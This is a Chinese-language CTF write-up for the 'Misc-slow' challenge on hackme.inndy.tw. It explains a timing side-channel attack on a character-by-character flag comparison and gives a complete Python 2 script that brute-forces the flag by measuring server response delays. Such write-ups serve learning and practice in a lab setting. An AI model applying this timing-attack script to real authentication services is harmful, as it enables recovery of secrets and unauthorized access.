CTF-hackme-Misc-slow-解题记录

题目:
nc hackme.inndy.tw 7708
OMG, It's slow.

解题步骤

本题采用的是时序攻击,第一次见这种题目,也是参靠了别人的代码做出来的
具体原理就是用你输入的flag和数据库中的从第一位开始比对,比对到错误的那一位直接退出。

  1. 假设每比对一位的耗时是1s,正确的flag前五位一定是FLAG{
  2. 当输入FLAG{_}时,如果耗时6s,说明第六位_是错的,因为比对到_就退出了,如果耗时7s,则说明_是对的,因为比对到第7位}才退出
  3. 利用这种原理,可以一位位的破解出flag
  4. 此题及其耗时程序大概有执行1-2个小时
#!/usr/bin/env python2
# -*- coding: utf-8 -*-  
import socket
import time


def remote(s,a) :
    berror = True 
    while berror == True :
        try :
            client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            client.connect((s,a))
            berror = False
            return client
        except socket.error : #异常处理,因为可能会国外网站原因报错 
            print '---socket.error'
            client.close()
            berror = True
            
string = '_9876543210ZYXWVUTSRQPONMLKJIHGFEDCBA'
flag1 = ['F','L','A','G','{']
flag2 = '}'
start_delay = 6
break_flag = 0
while True :
    for i in string:
        p = remote('hackme.inndy.tw', 7708)
        time.sleep(0.2) #接收到所有返回,也是因为网络原因 
        temp = p.recv(1024)
        #print temp
        a = time.time()
        payload = ''.join(flag1)+i+flag2
        #print i
        p.send(payload)
        s = p.recv(1024)
        #print s
        b = time.time()
        print '%s [+] Delay: %d s' % (payload,int(b-a))
        p.close()

        if int(b-a) == start_delay + 1: #耗时+1 说明是正确位 
            flag1.append(i)
            start_delay += 1
            break
        if i == 'A': #比对结束 
            print 'flag is %s' %(''.join(flag1)+flag2)
            print 'over___'
            break_flag = 1
            break
    if break_flag == 1 :
            break

Misc-slow

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值